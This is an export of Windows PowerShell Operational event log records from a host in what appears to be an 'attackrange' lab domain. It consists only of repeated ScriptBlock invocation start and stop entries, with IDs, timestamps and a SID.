Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022590
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022589
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022588
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022587
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022585
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022603
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022602
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022601
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022599
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022598
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022597
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022596
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022595
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022614
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022613
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022612
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022611
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022609
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022607
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022606
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022605
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022624
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022623
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022622
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022621
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022619
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022617
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022616
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022615
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022634
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022633
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022631
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022630
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022629
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022628
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022627
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022626
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:46 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022625
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022644
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022643
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022642
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022641
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022639
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022638
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
